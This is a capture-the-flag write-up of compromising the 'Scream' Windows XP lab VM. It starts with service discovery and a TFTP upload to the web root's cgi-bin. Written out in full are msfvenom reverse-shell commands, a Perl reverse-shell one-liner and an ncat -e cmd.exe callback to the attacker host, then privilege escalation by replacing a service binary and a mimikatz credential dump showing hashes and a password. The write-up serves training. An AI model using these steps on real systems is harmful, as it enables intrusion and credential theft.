_________
/ _____/ ___________ ____ _____ _____
\_____ \_/ ___\_ __ \_/ __ \\__ \ / \
/ \ \___| | \/\ ___/ / __ \| Y Y \
/_______ /\___ >__| \___ >____ /__|_| / .VM.
\/ \/ \/ \/ \/
----------------------------------------------------------------------------
| cReaTeD....: sagi- | DaTe......: 12-11-10 |
| oS.........: Windows XP Home/Pro | oBJecTiVe.: Get the local user's |
| SP2/3 x86 | password |
| iNSTaLLeR..: g0tmi1k | GReeTZ....: #vulnhub |
----------------------------------------------------------------------------
Service Discovery
A top 1000 scan using Nmap [nmap -sS -sV -sC 10.2.0.107
] revealed four services running on the VM:
PORT STATE SERVICE VERSION
21/tcp open ftp WAR-FTPD 1.65 (Name Scream XP (SP2) FTP Service)
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| drwxr-xr-x 1 ftp ftp 0 Aug 19 15:50 bin
| drwxr-xr-x 1 ftp ftp 0 Aug 19 15:53 log
|_drwxr-xr-x 1 ftp ftp 0 Aug 19 15:50 root
|_ftp-bounce: bounce working!
22/tcp open ssh WeOnlyDo sshd 2.1.3 (protocol 2.0)
| ssh-hostkey:
| 1024 2c:23:77:67:d3:e0:ae:2a:a8:01:a4:9e:54:97:db:2c (DSA)
|_ 1024 fa:11:a5:3d:63:95:4a:ae:3e:16:49:2f:bb:4b:f1:de (RSA)
23/tcp open telnet
80/tcp open http Tinyweb httpd 1.93
|_http-server-header: TinyWeb/1.93
|_http-title: The Scream - Edvard Munch
The version of war-ftpd
that was running seemed to be vulnerable to a buffer overflow (http://www.securityfocus.com/bid/22944/info), but some manual attempts at causing the overflow were unsuccessful; suggesting this may actually be patched or a misidentification.
As the FTP server was accepting anonymous connections, I connected and began to take a look around. Although I didn’t have any write permissions, I did find an interestingly named file in the /log
directory, which suggested a TFTP service could be running:
ftp> cd log
250 CWD successful. "/log" is current directory.
ftp> dir
200 Port command successful
150 Opening data channel for directory list.
---------- 1 ftp ftp 2912 Aug 19 18:23 access_log
---------- 1 ftp ftp 1449 Aug 19 18:23 agent_log
---------- 1 ftp ftp 0 Aug 19 15:53 error_log
---------- 1 ftp ftp 674 Nov 01 2012 OpenTFTPServerMT.log
---------- 1 ftp ftp 35 Aug 19 18:22 referer_log
226 Transfer OK
With this in mind, I did a quick test to see if I could transfer a file via tftp:
root@kali:~# tftp 10.2.0.107
tftp> status
Connected to 10.2.0.107.
Mode: netascii Verbose: off Tracing: off
Rexmt-interval: 5 seconds, Max-timeout: 25 seconds
tftp> put ssp.c
Sent 9785 bytes in 0.0 seconds
As the file transferred successfully, I connected back to the FTP server, to see if the TFTP server was serving one of the same directories, and managed to find my file in the /root
directory; which was also seemingly the root directory of the web server:
ftp> cd root
250 CWD successful. "/root" is current directory.
ftp> dir
200 Port command successful
150 Opening data channel for directory list.
drwxr-xr-x 1 ftp ftp 0 Feb 08 2013 cgi-bin
---------- 1 ftp ftp 14539 Oct 31 2012 index.html
---------- 1 ftp ftp 10161 Aug 19 19:39 ssp.c
226 Transfer OK
Exploiting TFTP
As the TFTP service was pointing directly at the web root, I used msfvenom
to create a reverse TCP executable, which I could place in the cgi-bin
directory:
root@kali:~# msfvenom -p windows/shell_reverse_tcp LHOST=10.2.0.3 LPORT=4444 -f exe -o shell.exe
No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 324 bytes
Final size of exe file: 73802 bytes
Saved as: shell.exe
I then transferred it, ensuring to set the transfer mode to binary
:
tftp> binary
tftp> mode
Using octet mode to transfer files.
tftp> put shell.exe cgi-bin/shell.exe
Sent 73802 bytes in 0.1 seconds
I then started a handler to catch the shell with:
root@kali:~# ncat -v -l -p 4444
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
And then attempted to invoke the executable by using curl to access /cgi-bin/shell.exe
; but unfortunately it returned an error.
As native executables were out of the question, I tried another reverse TCP payload, but this time using Perl:
root@kali:~# msfvenom -p cmd/windows/reverse_perl LHOST=10.2.0.3 LPORT=4444 -o shell.pl
No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No Arch selected, selecting Arch: cmd from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 141 bytes
Saved as: shell.pl
There were a few changes I needed to make to shell.pl
first, as the payload tries to invoke Perl with an inline script; where as I just wanted the script, so I removed perl -MIO -e
, the quotes surrounding the script and the back slashes escaping the IP address / port.
In addition to this, I also had to load the IO::Socket::INET
module. The payload after my modifications was:
use IO::Socket::INET;$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"10.2.0.3:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;
Now, using the same transport method as before, I was able to upload the Perl script to cgi-bin/shell.pl
and when invoking it by accessing /cgi-bin/shell.pl
using curl, the handler caught the connection and allowed me to start firing commands:
Ncat: Connection from 10.2.0.107.
Ncat: Connection from 10.2.0.107:1085.
dir
Volume in drive C has no label.
Volume Serial Number is 1089-0B4E
Directory of c:\www\root\cgi-bin
08/19/2017 08:02 PM <DIR> .
08/19/2017 08:02 PM <DIR> ..
08/19/2017 07:45 PM 74,743 shell.exe
08/19/2017 07:55 PM 141 shell.pl
08/19/2017 07:58 PM 129 shell2.pl
08/19/2017 07:58 PM 127 shell3.pl
08/19/2017 08:00 PM 138 shell4.pl
08/19/2017 08:02 PM 148 shell5.pl
6 File(s) 75,426 bytes
2 Dir(s) 7,812,980,736 bytes free
Upgrading Shell to NT AUTHORITY\SYSTEM
As the Perl script I had uploaded was simply shelling commands and provided no interactive functionality, the first thing I did was use TFTP again to transfer a copy of ncat onto the system.
Once transferred, I started up a second handler on port 5555 and used ncat to establish a second session, by running ncat.exe -e cmd.exe 10.2.0.3 5555
.
Now that I had an interactive shell, I began to do some recon to see how I could escalate to the SYSTEM account, as my current shell was running as the user alex
.
A look at the current process list revealed there were three services running as SYSTEM, which could potentially be hijacked:
c:\www\root\cgi-bin>tasklist /FI "username eq SYSTEM"
tasklist /FI "username eq SYSTEM"
Image Name PID Session Name Session# Mem Usage
========================= ====== ================ ======== ============
***
FileZilla server.exe 544 Console 0 3,032 K
FreeSSHDService.exe 616 Console 0 8,380 K
OpenTFTPServerMT.exe 956 Console 0 1,864 K
***
Next, I took a look at the list of running services, and was able to identify the service names of these three processes:
c:\www\root\cgi-bin>net start
net start
These Windows services are started:
***
FileZilla Server FTP server
FreeSSHDService
***
Open TFTP Server, MultiThreaded
***
The command completed successfully.
As I was using the TFTP service to transport files, I attempted to stop the FileZilla service instead, which I was successfully able to do:
C:\Program Files\FileZilla Server>net stop "FileZilla Server FTP Server"
net stop "FileZilla Server FTP Server"
The FileZilla Server FTP server service is stopping.
The FileZilla Server FTP server service was stopped successfully.
Once the service had been stopped, I checked to see if the user I was logged in as was able to rename the service’s target executable, and as expected - it could!
C:\Program Files\FileZilla Server>move "FileZilla server.exe" "FileZilla server.exe.bak"
move "FileZilla server.exe" "FileZilla server.exe.bak"
Now that I could hijack the service, I created another windows/shell_reverse_tcp
executable using msfvenom, as I did earlier, but this time set LPORT
to 5556:
root@kali:~# msfvenom -p windows/shell_reverse_tcp LHOST=10.2.0.3 LPORT=5556 -f exe -o shell.exe
No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 324 bytes
Final size of exe file: 73802 bytes
Saved as: shell.exe
Once created, I transferred it down using TFTP again, and started another ncat listener, but this time on port 5556.
I then proceeded to move the file from the web root into the FileZilla directory, ensuring to rename the file to what the service was targeting and then restarted the service:
C:\PROGRA~1\FILEZI~1>move C:\www\root\shell.exe "FileZilla server.exe"
move C:\www\root\shell.exe "FileZilla server.exe"
C:\PROGRA~1\FILEZI~1>net start "FileZilla Server FTP Server"
net start "FileZilla Server FTP Server"
Once the service started back up, the new shell popped:
root@kali:~# ncat -v -l -p 5556
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Listening on :::5556
Ncat: Listening on 0.0.0.0:5556
Ncat: Connection from 10.2.0.107.
Ncat: Connection from 10.2.0.107:1163.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\WINDOWS\system32>
Initially, I tried to verify this was indeed the SYSTEM account by echoing the %USERNAME%
var, but it wasn’t set (first time I have seen that happen); so I started up a new instance of notepad and then used tasklist
to verify the owner of the process:
C:\WINDOWS\system32>echo %username%
echo %username%
%username%
C:\WINDOWS\system32>tasklist /v | find "notepad.exe"
tasklist /v | find "notepad.exe"
notepad.exe 3776 Console 0 2,624 K Running NT AUTHORITY\SYSTEM 0:00:00 Untitled - Notepad
Getting The Local User Password
The final step was to recover the local user’s password. Using TFTP, again, I transferred a copy of mimikatz on to the system, which I was able to use to grab the password for the alex
account and finish the challenge:
C:\www\root>mimikatz.exe
mimikatz.exe
.#####. mimikatz 2.1.1 (x86) built on Aug 13 2017 17:27:38
.## ^ ##. "A La Vie, A L'Amour"
## / \ ## /* * *
## \ / ## Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
'## v ##' http://blog.gentilkiwi.com/mimikatz (oe.eo)
'#####' with 21 modules * * */
mimikatz # sekurlsa::logonpasswords
Authentication Id : 0 ; 37308 (00000000:000091bc)
Session : Interactive from 0
User Name : alex
Domain : SCREAM
Logon Server : SCREAM
Logon Time : 8/19/2017 5:06:49 PM
SID : S-1-5-21-1417001333-484763869-682003330-1003
msv :
[00000002] Primary
* Username : alex
* Domain : SCREAM
* NTLM : 504182f8417ed8557b67e96adc8b4d04
* SHA1 : c84389be8e78f275c4530b00ba54aea1cbd347f7
wdigest :
* Username : alex
* Domain : SCREAM
* Password : thisisaverylongpassword
kerberos :
* Username : alex
* Domain : SCREAM
* Password : thisisaverylongpassword